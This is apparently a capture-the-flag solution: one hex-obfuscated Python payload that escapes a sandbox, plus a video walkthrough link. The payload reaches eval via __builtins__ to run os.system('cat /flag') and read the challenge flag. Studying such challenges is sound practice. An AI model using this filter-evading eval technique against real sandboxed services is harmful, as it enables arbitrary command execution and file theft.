`print(__builtins__.__dict__['\x65\x76\x61\x6C']('\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x22\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x22\x29'))`

Video walkthrough: https://youtu.be/-cc4U1H53F8?t=2120